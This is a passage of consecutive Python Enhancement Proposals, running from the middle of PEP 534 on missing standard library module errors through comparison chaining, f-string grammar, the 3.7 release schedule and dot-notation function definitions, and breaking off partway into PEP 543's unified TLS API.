remedy the situation appropriately. CPython When one of Python’s standard library modules (such as _sqlite3) cannot be compiled during a CPython build because of missing dependencies (e.g. SQLite header files), the module is simply skipped. If you then install this compiled Python and use it to try to import one of the missing modules, Python will fail with a ModuleNotFoundError. For example, after deliberately removing sqlite-devel from the local system: $ ./python -c "import sqlite3" Traceback (most recent call last): File "<string>", line 1, in <module> File "/home/ncoghlan/devel/cpython/Lib/sqlite3/__init__.py", line 23, in <module> from sqlite3.dbapi2 import * File "/home/ncoghlan/devel/cpython/Lib/sqlite3/dbapi2.py", line 27, in <module> from _sqlite3 import * ModuleNotFoundError: No module named '_sqlite3' This can confuse users who may not understand why a cleanly built Python is missing standard library modules. Linux and other distributions Many Linux and other distributions are already separating out parts of the standard library to standalone packages. Among the most commonly excluded modules are the tkinter module, since it draws in a dependency on the graphical environment, idlelib, since it depends on tkinter (and most Linux desktop environments provide their own default code editor), and the test package, as it only serves to test Python internally and is about as big as the rest of the standard library put together. The methods of omission of these modules differ. For example, Debian patches the file Lib/tkinter/__init__.py to envelop the line import _tkinter in a try-except block and upon encountering an ImportError it simply adds the following to the error message: please install the python3-tk package [1]. Fedora and other distributions simply don’t include the omitted modules, potentially leaving users baffled as to where to find them. An example from Fedora 29: $ python3 -c "import tkinter" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No module named 'tkinter' Specification APIs to list expected standard library modules To allow for easier identification of which module names are expected to be resolved in the standard library, the sysconfig module will be extended with two additional functions: sysconfig.get_stdlib_modules(), which will provide a list of the names of all top level Python standard library modules (including private modules) sysconfig.get_optional_modules(), which will list optional public top level standard library module names The results of sysconfig.get_optional_modules() and the existing sys.builtin_module_names will both be subsets of the full list provided by the new sysconfig.get_stdlib_modules() function. These added lists will be generated during the Python build process and saved in the _sysconfigdata-*.py file along with other sysconfig values. Possible reasons for modules being in the “optional” list will be: the module relies on an optional build dependency (e.g. _sqlite3, tkinter, idlelib) the module is private for other reasons and hence may not be present on all implementations (e.g. _freeze_importlib, _collections_abc) the module is platform specific and hence may not be present in all installations (e.g. winreg) the test package may also be freely omitted from Python runtime installations, as it is intended for use in testing Python implementations, not as a runtime library for Python projects to use (the public API offering testing utilities is unittest) (Note: the ensurepip, venv, and distutils modules are all considered mandatory modules in this PEP, even though not all redistributors currently adhere to that practice) Changes to the default sys.excepthook implementation The default implementation of the sys.excepthook function will then be modified to dispense an appropriate message when it detects a failure to import a module identified by one of the two new sysconfig functions as belonging to the Python standard library. Revised error message for a module that relies on an optional build dependency or is otherwise considered optional when Python is installed: $ ./python -c "import sqlite3" Traceback (most recent call last): File "<string>", line 1, in <module> File "/home/ncoghlan/devel/cpython/Lib/sqlite3/__init__.py", line 23, in <module> from sqlite3.dbapi2 import * File "/home/ncoghlan/devel/cpython/Lib/sqlite3/dbapi2.py", line 27, in <module> from _sqlite3 import * ModuleNotFoundError: Optional standard library module '_sqlite3' was not found Revised error message for a submodule of an optional top level package when the entire top level package is missing: $ ./python -c "import test.regrtest" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: Optional standard library module 'test' was not found Revised error message for a submodule of an optional top level package when the top level package is present: $ ./python -c "import test.regrtest" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No submodule named 'test.regrtest' in optional standard library module 'test' Revised error message for a module that is always expected to be available: $ ./python -c "import ensurepip" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: Standard library module 'ensurepip' was not found Revised error message for a missing submodule of a standard library package when the top level package is present: $ ./python -c "import encodings.mbcs" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No submodule named 'encodings.mbcs' in standard library module 'encodings' These revised error messages make it clear that the missing modules are expected to be available from the standard library, but are not available for some reason, rather than being an indicator of a missing third party dependency in the current environment. Design Discussion Modifying sys.excepthook The sys.excepthook function gets called when a raised exception is uncaught and the program is about to exit or (in an interactive session) the control is being returned to the prompt. This makes it a perfect place for customized error messages, as it will not influence caught errors and thus not slow down normal execution of Python scripts. Public API to query expected standard library module names The inclusion of the functions sysconfig.get_stdlib_modules() and sysconfig.get_optional_modules() will provide a long sought-after way of easily listing the names of Python standard library modules [2], which will (among other benefits) make it easier for code analysis, profiling, and error reporting tools to offer runtime --ignore-stdlib flags. Only including top level module names This PEP proposes that only top level module and package names be reported by the new query APIs. This is sufficient information to generate the proposed error messages, reduces the number of required entries by an order of magnitude, and simplifies the process of generating the related metadata during the build process. If this is eventually found to be overly limiting, a new include_submodules flag could be added to the query APIs. However, this is not part of the initial proposal, as the benefits of doing so aren’t currently seen as justifying the extra complexity. There is one known consequence of this restriction, which is that the new default excepthook implementation will report incorrect submodules names the same way that it reports genuinely missing standard library submodules: $ ./python -c "import unittest.muck" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No submodule named 'unittest.muck' in standard library module 'unittest' Listing private top level module names as optional standard library modules Many of the modules that have an optional external build dependency are written as hybrid modules, where there is a shared Python wrapper around an implementation dependent interface to the underlying external library. In other cases, a private top level module may simply be a CPython implementation detail, and other implementations may not provide that module at all. To report import errors involving these modules appropriately, the new default excepthook implementation needs them to be reported by the new query APIs. Deeming packaging related modules to be mandatory Some redistributors aren’t entirely keen on installing the Python specific packaging related modules (distutils, ensurepip, venv) by default, preferring that developers use their platform specific tooling instead. This approach causes interoperability problems for developers working on cross-platform projects and educators attempting to write platform independent setup instructions, so this PEP takes the view that these modules should be considered mandatory, and left out of the list of optional modules. Deferred Ideas The ideas in this section are concepts that this PEP would potentially help enable, but they’re considered out of scope for the initial proposal. Platform dependent modules Some standard library modules may be missing because they’re only provided on particular platforms. For example, the winreg module is only available on Windows: $ python3 -c "import winreg" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No module named 'winreg' In the current proposal, these platform dependent modules will simply be included with all the other optional modules rather than attempting to expose the platform dependency information in a more structured way. However, the platform dependence is at least tracked at the level of “Windows”, “Unix”, “Linux”, and “FreeBSD” for the benefit of the documentation, so it seems plausible that it could potentially be exposed programmatically as well. Emitting a warning when __main__ shadows a standard library module Given the new query APIs, the new default excepthook implementation could potentially detect when __main__.__file__ or __main__.__spec__.name match a standard library module, and emit a suitable warning. However, actually doing anything along this lines should review more cases where uses actually encounter this problem, and the various options for potentially offering more information to assist in debugging the situation, rather than needing to be incorporated right now. Recommendation for Downstream Distributors By patching site.py [*] to provide their own implementation of the sys.excepthook function, Python distributors can display tailor-made error messages for any uncaught exceptions, including informing the user of a proper, distro-specific way to install missing standard library modules upon encountering a ModuleNotFoundError. Some downstream distributors are already using this method of patching sys.excepthook to integrate with platform crash reporting mechanisms. Backwards Compatibility No problems with backwards compatibility are expected. Distributions that are already patching Python modules to provide custom handling of missing dependencies can continue to do so unhindered. Reference and Example Implementation TBD. The finer details will depend on what’s practical given the capabilities of the CPython build system (other implementations should then be able to use the generated CPython data, rather than having to regenerate it themselves). Notes and References [*] Or sitecustomize.py for organizations with their own custom Python variant. [1] http://bazaar.launchpad.net/~doko/python/pkg3.5-debian/view/head:/patches/tkinter-import.diff [2] http://stackoverflow.com/questions/6463918/how-can-i-get-a-list-of-all-the-python-standard-library-modules Ideas leading up to this PEP were discussed on the python-dev mailing list and subsequently on python-ideas. Copyright This document has been placed in the public domain.

Deferred

PEP 534 – Improved Errors for Missing Standard Library Modules

Standards Track

Python is often being built or distributed without its full standard library. However, there is as of yet no standard, user friendly way of properly informing the user about the failure to import such missing standard library modules.

PEP 535 – Rich comparison chaining Author: Alyssa Coghlan <ncoghlan at gmail.com> Status: Deferred Type: Standards Track Requires: 532 Created: 12-Nov-2016 Python-Version: 3.8 Table of Contents PEP Deferral Abstract Relationship with other PEPs Specification Rationale Implementation References Copyright PEP Deferral Further consideration of this PEP has been deferred until Python 3.8 at the earliest. Abstract Inspired by PEP 335, and building on the circuit breaking protocol described in PEP 532, this PEP proposes a change to the definition of chained comparisons, where the comparison chaining will be updated to use the left-associative circuit breaking operator (else) rather than the logical disjunction operator (and) if the left hand comparison returns a circuit breaker as its result. While there are some practical complexities arising from the current handling of single-valued arrays in NumPy, this change should be sufficient to allow elementwise chained comparison operations for matrices, where the result is a matrix of boolean values, rather than raising ValueError or tautologically returning True (indicating a non-empty matrix). Relationship with other PEPs This PEP has been extracted from earlier iterations of PEP 532, as a follow-on use case for the circuit breaking protocol, rather than an essential part of its introduction. The specific proposal in this PEP to handle the element-wise comparison use case by changing the semantic definition of comparison chaining is drawn directly from Guido’s rejection of PEP 335. Specification A chained comparison like 0 < x < 10 written as: LEFT_BOUND LEFT_OP EXPR RIGHT_OP RIGHT_BOUND is currently roughly semantically equivalent to: _expr = EXPR _lhs_result = LEFT_BOUND LEFT_OP _expr _expr_result = _lhs_result and (_expr RIGHT_OP RIGHT_BOUND) Using the circuit breaking concepts introduced in PEP 532, this PEP proposes that comparison chaining be changed to explicitly check if the left comparison returns a circuit breaker, and if so, use else rather than and to implement the comparison chaining: _expr = EXPR _lhs_result = LEFT_BOUND LEFT_OP _expr if hasattr(type(_lhs_result), "__else__"): _expr_result = _lhs_result else (_expr RIGHT_OP RIGHT_BOUND) else: _expr_result = _lhs_result and (_expr RIGHT_OP RIGHT_BOUND) This allows types like NumPy arrays to control the behaviour of chained comparisons by returning suitably defined circuit breakers from comparison operations. The expansion of this logic to an arbitrary number of chained comparison operations would be the same as the existing expansion for and. Rationale In ultimately rejecting PEP 335, Guido van Rossum noted [1]: The NumPy folks brought up a somewhat separate issue: for them, the most common use case is chained comparisons (e.g. A < B < C). To understand this observation, we first need to look at how comparisons work with NumPy arrays: >>> import numpy as np >>> increasing = np.arange(5) >>> increasing array([0, 1, 2, 3, 4]) >>> decreasing = np.arange(4, -1, -1) >>> decreasing array([4, 3, 2, 1, 0]) >>> increasing < decreasing array([ True, True, False, False, False], dtype=bool) Here we see that NumPy array comparisons are element-wise by default, comparing each element in the left hand array to the corresponding element in the right hand array, and producing a matrix of boolean results. If either side of the comparison is a scalar value, then it is broadcast across the array and compared to each individual element: >>> 0 < increasing array([False, True, True, True, True], dtype=bool) >>> increasing < 4 array([ True, True, True, True, False], dtype=bool) However, this broadcasting idiom breaks down if we attempt to use chained comparisons: >>> 0 < increasing < 4 Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() The problem is that internally, Python implicitly expands this chained comparison into the form: >>> 0 < increasing and increasing < 4 Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() And NumPy only permits implicit coercion to a boolean value for single-element arrays where a.any() and a.all() can be assured of having the same result: >>> np.array([False]) and np.array([False]) array([False], dtype=bool) >>> np.array([False]) and np.array([True]) array([False], dtype=bool) >>> np.array([True]) and np.array([False]) array([False], dtype=bool) >>> np.array([True]) and np.array([True]) array([ True], dtype=bool) The proposal in this PEP would allow this situation to be changed by updating the definition of element-wise comparison operations in NumPy to return a dedicated subclass that implements the new circuit breaking protocol and also changes the result array’s interpretation in a boolean context to always return False and hence never trigger the short-circuiting behaviour: class ComparisonResultArray(np.ndarray): def __bool__(self): # Element-wise comparison chaining never short-circuits return False def _raise_NotImplementedError(self): msg = ("Comparison array truth values are ambiguous outside " "chained comparisons. Use a.any() or a.all()") raise NotImplementedError(msg) def __not__(self): self._raise_NotImplementedError() def __then__(self, result): self._raise_NotImplementedError() def __else__(self, result): return np.logical_and(self, other.view(ComparisonResultArray)) With this change, the chained comparison example above would be able to return: >>> 0 < increasing < 4 ComparisonResultArray([ False, True, True, True, False], dtype=bool) Implementation Actual implementation has been deferred pending in-principle interest in the idea of making the changes proposed in PEP 532. …TBD… References [1] PEP 335 rejection notification (https://mail.python.org/pipermail/python-dev/2012-March/117510.html) Copyright This document has been placed in the public domain under the terms of the CC0 1.0 license: https://creativecommons.org/publicdomain/zero/1.0/

Deferred

PEP 535 – Rich comparison chaining

Standards Track

Inspired by PEP 335, and building on the circuit breaking protocol described in PEP 532, this PEP proposes a change to the definition of chained comparisons, where the comparison chaining will be updated to use the left-associative circuit breaking operator (else) rather than the logical disjunction operator (and) if the left hand comparison returns a circuit breaker as its result.

PEP 536 – Final Grammar for Literal String Interpolation Author: Philipp Angerer <phil.angerer at gmail.com> Status: Withdrawn Type: Standards Track Created: 11-Dec-2016 Python-Version: 3.7 Post-History: 18-Aug-2016, 23-Dec-2016, 15-Mar-2019 Resolution: Discourse message Table of Contents Abstract PEP Withdrawal Terminology Motivation Rationale Specification Backwards Compatibility Reference Implementation References Copyright Abstract PEP 498 introduced Literal String Interpolation (or “f-strings”). The expression portions of those literals however are subject to certain restrictions. This PEP proposes a formal grammar lifting those restrictions, promoting “f-strings” to “f expressions” or f-literals. This PEP expands upon the f-strings introduced by PEP 498, so this text requires familiarity with PEP 498. PEP Withdrawal This PEP has been withdrawn in favour of PEP 701. PEP 701 addresses all important points of this PEP. Terminology This text will refer to the existing grammar as “f-strings”, and the proposed one as “f-literals”. Furthermore, it will refer to the {}-delimited expressions in f-literals/f-strings as “expression portions” and the static string content around them as “string portions”. Motivation The current implementation of f-strings in CPython relies on the existing string parsing machinery and a post processing of its tokens. This results in several restrictions to the possible expressions usable within f-strings: It is impossible to use the quote character delimiting the f-string within the expression portion:>>> f'Magic wand: { bag['wand'] }' ^ SyntaxError: invalid syntax A previously considered way around it would lead to escape sequences in executed code and is prohibited in f-strings:>>> f'Magic wand { bag[\'wand\'] } string' SyntaxError: f-string expression portion cannot include a backslash Comments are forbidden even in multi-line f-strings:>>> f'''A complex trick: { ... bag['bag'] # recursive bags! ... }''' SyntaxError: f-string expression part cannot include '#' Expression portions need to wrap ':' and '!' in braces:>>> f'Useless use of lambdas: { lambda x: x*2 }' SyntaxError: unexpected EOF while parsing These limitations serve no purpose from a language user perspective and can be lifted by giving f-literals a regular grammar without exceptions and implementing it using dedicated parse code. Rationale The restrictions mentioned in Motivation are non-obvious and counter-intuitive unless the user is familiar with the f-literals’ implementation details. As mentioned, a previous version of PEP 498 allowed escape sequences anywhere in f-strings, including as ways to encode the braces delimiting the expression portions and in their code. They would be expanded before the code is parsed, which would have had several important ramifications: #. It would not be clear to human readers which portions are Expressions and which are strings. Great material for an “obfuscated/underhanded Python challenge” #. Syntax highlighters are good in parsing nested grammar, but not in recognizing escape sequences. ECMAScript 2016 (JavaScript) allows escape sequences in its identifiers [1] and the author knows of no syntax highlighter able to correctly highlight code making use of this. As a consequence, the expression portions would be harder to recognize with and without the aid of syntax highlighting. With the new grammar, it is easy to extend syntax highlighters to correctly parse and display f-literals: f'Magic wand: {bag['wand']:^10}'Highlighting expression portions with possible escape sequences would mean to create a modified copy of all rules of the complete expression grammar, accounting for the possibility of escape sequences in key words, delimiters, and all other language syntax. One such duplication would yield one level of escaping depth and have to be repeated for a deeper escaping in a recursive f-literal. This is the case since no highlighting engine known to the author supports expanding escape sequences before applying rules to a certain context. Nesting contexts however is a standard feature of all highlighting engines. Familiarity also plays a role: Arbitrary nesting of expressions without expansion of escape sequences is available in every single other language employing a string interpolation method that uses expressions instead of just variable names. [2] Specification PEP 498 specified f-strings as the following, but places restrictions on it: f ' <text> { <expression> <optional !s, !r, or !a> <optional : format specifier> } <text> ... ' All restrictions mentioned in the PEP are lifted from f-literals, as explained below: Expression portions may now contain strings delimited with the same kind of quote that is used to delimit the f-literal. Backslashes may now appear within expressions just like anywhere else in Python code. In case of strings nested within f-literals, escape sequences are expanded when the innermost string is evaluated. Comments, using the '#' character, are possible only in multi-line f-literals, since comments are terminated by the end of the line (which makes closing a single-line f-literal impossible). Expression portions may contain ':' or '!' wherever syntactically valid. The first ':' or '!' that is not part of an expression has to be followed a valid coercion or format specifier. A remaining restriction not explicitly mentioned by PEP 498 is line breaks in expression portions. Since strings delimited by single ' or " characters are expected to be single line, line breaks remain illegal in expression portions of single line strings. Note Is lifting of the restrictions sufficient, or should we specify a more complete grammar? Backwards Compatibility f-literals are fully backwards compatible to f-strings, and expands the syntax considered legal. Reference Implementation TBD References [1] ECMAScript IdentifierName specification ( http://ecma-international.org/ecma-262/6.0/#sec-names-and-keywords )Yes, const cthulhu = { H̹̙̦̮͉̩̗̗ͧ̇̏̊̾Eͨ͆͒̆ͮ̃͏̷̮̣̫̤̣Cͯ̂͐͏̨̛͔̦̟͈̻O̜͎͍͙͚̬̝̣̽ͮ͐͗̀ͤ̍̀͢M̴̡̲̭͍͇̼̟̯̦̉̒͠Ḛ̛̙̞̪̗ͥͤͩ̾͑̔͐ͅṮ̴̷̷̗̼͍̿̿̓̽͐H̙̙̔̄͜\u0042: 42 } is valid ECMAScript 2016 [2] Wikipedia article on string interpolation ( https://en.wikipedia.org/wiki/String_interpolation ) Copyright This document has been placed in the public domain.

Withdrawn

PEP 536 – Final Grammar for Literal String Interpolation

Standards Track

PEP 498 introduced Literal String Interpolation (or “f-strings”). The expression portions of those literals however are subject to certain restrictions. This PEP proposes a formal grammar lifting those restrictions, promoting “f-strings” to “f expressions” or f-literals.

PEP 537 – Python 3.7 Release Schedule Author: Ned Deily <nad at python.org> Status: Final Type: Informational Topic: Release Created: 23-Dec-2016 Python-Version: 3.7 Table of Contents Abstract Release Manager and Crew 3.7 Lifespan Release Schedule 3.7.0 schedule 3.7.1 schedule (first bugfix release) 3.7.2 schedule 3.7.3 schedule 3.7.4 schedule 3.7.5 schedule 3.7.6 schedule 3.7.7 schedule 3.7.8 schedule (last bugfix release) 3.7.9 schedule (security/binary release) 3.7.10 schedule 3.7.11 schedule 3.7.12 schedule 3.7.13 schedule 3.7.14 schedule 3.7.15 schedule 3.7.16 schedule 3.7.17 schedule (last security-only release) Features for 3.7 Copyright Abstract This document describes the development and release schedule for Python 3.7. The schedule primarily concerns itself with PEP-sized items. Release Manager and Crew 3.7 Release Manager: Ned Deily Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Julien Palard 3.7 Lifespan 3.7 will receive bugfix updates approximately every 3 months for about 24 months. Sometime after the release of 3.8.0 final, a final 3.7 bugfix update will be released. After that, it is expected that security updates (source only) will be released as needed until 5 years after the release of 3.7 final, so until approximately 2023-06. As of 2023-06-27, 3.7 has reached the end-of-life phase of its release cycle. 3.7.17 was the final security release. The code base for 3.7 is now frozen and no further updates will be provided nor issues of any kind will be accepted on the bug tracker. Release Schedule 3.7.0 schedule 3.7 development begins: 2016-09-12 3.7.0 alpha 1: 2017-09-19 3.7.0 alpha 2: 2017-10-17 3.7.0 alpha 3: 2017-12-05 3.7.0 alpha 4: 2018-01-09 3.7.0 beta 1: 2018-01-31 (No new features beyond this point.) 3.7.0 beta 2: 2018-02-27 3.7.0 beta 3: 2018-03-29 3.7.0 beta 4: 2018-05-02 3.7.0 beta 5: 2018-05-30 3.7.0 candidate 1: 2018-06-12 3.7.0 final: 2018-06-27 3.7.1 schedule (first bugfix release) 3.7.1 candidate 1: 2018-09-26 3.7.1 candidate 2: 2018-10-13 3.7.1 final: 2018-10-20 3.7.2 schedule 3.7.2 candidate 1: 2018-12-11 3.7.2 final: 2018-12-24 3.7.3 schedule 3.7.3 candidate 1: 2019-03-12 3.7.3 final: 2019-03-25 3.7.4 schedule 3.7.4 candidate 1: 2019-06-18 3.7.4 candidate 2: 2019-07-02 3.7.4 final: 2019-07-08 3.7.5 schedule 3.7.5 candidate 1: 2019-10-02 3.7.5 final: 2019-10-15 3.7.6 schedule 3.7.6 candidate 1: 2019-12-11 3.7.6 final: 2019-12-18 3.7.7 schedule 3.7.7 candidate 1: 2020-03-04 3.7.7 final: 2020-03-10 3.7.8 schedule (last bugfix release) Last planned release of binaries 3.7.8 candidate 1: 2020-06-15 3.7.8 final: 2020-06-27 3.7.9 schedule (security/binary release) Security fixes plus updated binary installers to address 3.7.8 issues; no further binary releases are planned. 3.7.9 final: 2020-08-17 3.7.10 schedule 3.7.10 final: 2021-02-15 3.7.11 schedule 3.7.11 final: 2021-06-28 3.7.12 schedule 3.7.12 final: 2021-09-04 3.7.13 schedule 3.7.13 final: 2022-03-16 3.7.14 schedule 3.7.14 final: 2022-09-06 3.7.15 schedule 3.7.15 final: 2022-10-11 3.7.16 schedule 3.7.16 final: 2022-12-06 3.7.17 schedule (last security-only release) 3.7.17 final: 2023-06-06 Features for 3.7 Implemented PEPs for 3.7 (as of 3.7.0 beta 1): PEP 538, Coercing the legacy C locale to a UTF-8 based locale PEP 539, A New C-API for Thread-Local Storage in CPython PEP 540, UTF-8 mode PEP 552, Deterministic pyc PEP 553, Built-in breakpoint() PEP 557, Data Classes PEP 560, Core support for typing module and generic types PEP 562, Module __getattr__ and __dir__ PEP 563, Postponed Evaluation of Annotations PEP 564, Time functions with nanosecond resolution PEP 565, Show DeprecationWarning in __main__ PEP 567, Context Variables Copyright This document has been placed in the public domain.

Final

PEP 537 – Python 3.7 Release Schedule

Informational

This document describes the development and release schedule for Python 3.7. The schedule primarily concerns itself with PEP-sized items.

PEP 542 – Dot Notation Assignment In Function Header Author: Markus Meskanen <markusmeskanen at gmail.com> Status: Rejected Type: Standards Track Created: 10-Feb-2017 Resolution: Python-Dev message Table of Contents Abstract Rationale Implementation Backwards Compatibility Copyright Abstract Function definitions only allow simple function names to be used, even though functions are assignable first class objects. This PEP proposes adding support for assigning a function to a class or instance attribute directly in the function definition’s header by using the dot notation to separate the object from the function’s name. Although a similar feature, this PEP does not address general assignment to anything that supports assignment, such as dict keys and list indexes. Rationale Currently if a function needs to be assigned to a class or instance attribute, it requires an additional assignment statement to be made: class MyClass: ... my_instance = MyClass() def my_function(self): ... # Assign to class attribute MyClass.my_function = my_function # Or assign to instance attribute my_instance.my_function = my_function While this isn’t usually an inconvenience, using dot notation to assign directly in the function’s header would greatly simplify this: class MyClass: ... my_instance = MyClass() # Assign to class attribute def MyClass.my_function(self): ... # Or assign to instance attribute def my_instance.my_function(self): ... There are multiple reasons to use this functionality over a standard class method, for example when the class is referenced inside the function’s header (such as with decorators and typing). This is also useful when an instance requires a callback attribute: class Menu: def __init__(self, items=None, select_callback=None): self.items = items if items is not None else [] self.select_callback = select_callback my_menu = Menu([item1, item2]) def my_menu.select_callback(item_index, menu): print(menu.items[item_index]) As opposed to: my_menu = Menu([item1, item2]) def select_callback(item_index, menu): print(menu.items[item_index]) my_menu.select_callback = select_callback Or defining them in an “unnatural” order: def select_callback(item_index, menu): print(menu.items[item_index]) my_menu = Menu([item1, item2], select_callback) It reads better than the “unnatural” way, since you already know at the time of the function definition what it’s goig to be used for. It also saves one line of code while removing visual complexity. The feature would also avoid leaving the function’s name into the global namespace: eggs = 'something' def Spam.eggs(self): ... def Cheese.eggs(self): ... assert eggs == 'something' Ideally this would be just syntastic sugar: def x.y(): ... # Equals to def y(): ... x.y = y Similar to how decorators are syntastic sugar: @decorate def f(): ... # Equals to def f(): ... f = decorate(f) Implementation The __name__ would follow the principles of a normal function: class MyClass: def my_function1(self): ... def MyClass.my_function2(self): ... assert my_function1.__name__ == 'my_function1' assert my_function2.__name__ == 'my_function2' The grammar would use dotted_name to support chaining of attributes: def Person.name.fset(self, value): self._name = value Backwards Compatibility This PEP is fully backwards compatible. Copyright This document has been placed in the public domain.

Rejected

PEP 542 – Dot Notation Assignment In Function Header

Standards Track

Function definitions only allow simple function names to be used, even though functions are assignable first class objects.

PEP 543 – A Unified TLS API for Python Author: Cory Benfield <cory at lukasa.co.uk>, Christian Heimes <christian at python.org> Status: Withdrawn Type: Standards Track Created: 17-Oct-2016 Python-Version: 3.7 Post-History: 11-Jan-2017, 19-Jan-2017, 02-Feb-2017, 09-Feb-2017 Table of Contents Abstract Resolution Rationale Problems Proposal Interfaces Configuration Context Buffer Socket Cipher Suites OpenSSL SecureTransport SChannel Network Security Services (NSS) Proposed Interface Protocol Negotiation TLS Versions Errors Certificates Private Keys Trust Store Runtime Access Changes to the Standard Library Migration of the ssl module Future Credits Copyright Abstract This PEP would define a standard TLS interface in the form of a collection of abstract base classes. This interface would allow Python implementations and third-party libraries to provide bindings to TLS libraries other than OpenSSL that can be used by tools that expect the interface provided by the Python standard library, with the goal of reducing the dependence of the Python ecosystem on OpenSSL. Resolution 2020-06-25: With contemporary agreement with one author, and past agreement with another, this PEP is withdrawn due to changes in the APIs of the underlying operating systems. Rationale In the 21st century it has become increasingly clear that robust and user-friendly TLS support is an extremely important part of the ecosystem of any popular programming language. For most of its lifetime, this role in the Python ecosystem has primarily been served by the ssl module, which provides a Python API to the OpenSSL library. Because the ssl module is distributed with the Python standard library, it has become the overwhelmingly most-popular method for handling TLS in Python. An extraordinary majority of Python libraries, both in the standard library and on the Python Package Index, rely on the ssl module for their TLS connectivity. Unfortunately, the preeminence of the ssl module has had a number of unforeseen side-effects that have had the effect of tying the entire Python ecosystem tightly to OpenSSL. This has forced Python users to use OpenSSL even in situations where it may provide a worse user experience than alternative TLS implementations, which imposes a cognitive burden and makes it hard to provide “platform-native” experiences. Problems The fact that the ssl module is built into the standard library has meant that all standard-library Python networking libraries are entirely reliant on the OpenSSL that the Python implementation has been linked against. This leads to the following issues: It is difficult to take advantage of new, higher-security TLS without recompiling Python to get a new OpenSSL. While there are third-party bindings to OpenSSL (e.g. pyOpenSSL), these need to be shimmed into a format that the standard library understands, forcing projects that want to use them to maintain substantial compatibility layers. For Windows distributions of Python, they need to be shipped with a copy of OpenSSL. This puts the CPython development team in the position of being OpenSSL redistributors, potentially needing to ship security updates to the Windows Python distributions when OpenSSL vulnerabilities are released. For macOS distributions of Python, they need either to be shipped with a copy of OpenSSL or linked against the system OpenSSL library. Apple has formally deprecated linking against the system OpenSSL library, and even if they had not, that library version has been unsupported by upstream for nearly one year as of the time of writing. The CPython development team has started shipping newer OpenSSLs with the Python available from python.org, but this has the same problem as with Windows. Many systems, including but not limited to Windows and macOS, do not make their system certificate stores available to OpenSSL. This forces users to either obtain their trust roots from elsewhere (e.g. certifi) or to attempt to export their system trust stores in some form.Relying on certifi is less than ideal, as most system administrators do not expect to receive security-critical software updates from PyPI. Additionally, it is not easy to extend the certifi trust bundle to include custom roots, or to centrally manage trust using the certifi model. Even in situations where the system certificate stores are made available to OpenSSL in some form, the experience is still sub-standard, as OpenSSL will perform different validation checks than the platform-native TLS implementation. This can lead to users experiencing different behaviour on their browsers or other platform-native tools than they experience in Python, with little or no recourse to resolve the problem. Users may wish to integrate with TLS libraries other than OpenSSL for many other reasons, such as OpenSSL missing features (e.g. TLS 1.3 support), or because OpenSSL is simply too large and unwieldy for the platform (e.g. for embedded Python). Those users are left with the requirement to use third-party networking libraries that can interact with their preferred TLS library or to shim their preferred library into the OpenSSL-specific ssl module API. Additionally, the ssl module as implemented today limits the ability of CPython itself to add support for alternative TLS backends, or remove OpenSSL support entirely, should either of these become necessary or useful. The ssl module exposes too many OpenSSL-specific function calls and features to easily map to an alternative TLS backend. Proposal This PEP proposes to introduce a few new Abstract Base Classes in Python 3.7 to provide TLS functionality that is not so strongly tied to OpenSSL. It also proposes to update standard library modules to use only the interface exposed by these abstract base classes wherever possible. There are three goals here: To provide a common API surface for both core and third-party developers to target their TLS implementations to. This allows TLS developers to provide interfaces that can be used by most Python code, and allows network developers to have an interface that they can target that will work with a wide range of TLS implementations. To provide an API that has few or no OpenSSL-specific concepts leak through. The ssl module today has a number of warts caused by leaking OpenSSL concepts through to the API: the new ABCs would remove those specific concepts. To provide a path for the core development team to make OpenSSL one of many possible TLS backends, rather than requiring that it be present on a system in order for Python to have TLS support. The proposed interface is laid out below. Interfaces There are several interfaces that require standardisation. Those interfaces are: Configuring TLS, currently implemented by the SSLContext class in the ssl module. Providing an in-memory buffer for doing in-memory encryption or decryption with no actual I/O (necessary for asynchronous I/O models), currently implemented by the SSLObject class in the ssl module. Wrapping a socket object, currently implemented by the SSLSocket class in the ssl module. Applying TLS configuration to the wrapping objects in (2) and (3). Currently this is also implemented by the SSLContext class in the ssl module. Specifying TLS cipher suites. There is currently no code for doing this in the standard library: instead, the standard library uses OpenSSL cipher suite strings. Specifying application-layer protocols that can be negotiated during the TLS handshake. Specifying TLS versions. Reporting errors to the caller, currently implemented by the SSLError class in the ssl module. Specifying certificates to load, either as client or server certificates. Specifying which trust database should be used to validate certificates presented by a remote peer. Finding a way to get hold of these interfaces at run time. For the sake of simplicity, this PEP proposes to take a unified approach to (2) and (3) (that is, buffers and sockets). The Python socket API is a sizeable one, and implementing a wrapped socket that has the same behaviour as a regular Python socket is a subtle and tricky thing to do. However, it is entirely possible to implement a generic wrapped socket in terms of wrapped buffers: that is, it is possible to write a wrapped socket (3) that will work for any implementation that provides (2). For this reason, this PEP proposes to provide an ABC for wrapped buffers (2) but a concrete class for wrapped sockets (3). This decision has the effect of making it impossible to bind a small number of TLS libraries to this ABC, because those TLS libraries cannot provide a wrapped buffer implementation. The most notable of these at this time appears to be Amazon’s s2n, which currently does not provide an I/O abstraction layer. However, even this library consider this a missing feature and are working to add it. For this reason, it is safe to assume that a concrete implementation of (3) in terms of (2) will be a substantial effort-saving device and a great tool for correctness. Therefore, this PEP proposes doing just that. Obviously, (5) doesn’t require an abstract base class: instead, it requires a richer API for configuring supported cipher suites that can be easily updated with supported cipher suites for different implementations. (9) is a thorny problem, because in an ideal world the private keys associated with these certificates would never end up in-memory in the Python process (that is, the TLS library would collaborate with a Hardware Security Module (HSM) to provide the private key in such a way that it cannot be extracted from process memory). Thus, we need to provide an extensible model of providing certificates that allows concrete implementations the ability to provide this higher level of security, while also allowing a lower bar for those implementations that cannot. This lower bar would be the same as the status quo: that is, the certificate may be loaded from an in-memory buffer or from a file on disk. (10) also represents an issue because different TLS implementations vary wildly in how they allow users to select trust stores. Some implementations have specific trust store formats that only they can use (such as the OpenSSL CA directory format that is created by c_rehash), and others may not allow you to specify a trust store that does not include their default trust store. For this reason, we need to provide a model that assumes very little about the form that trust stores take. The “Trust Store” section 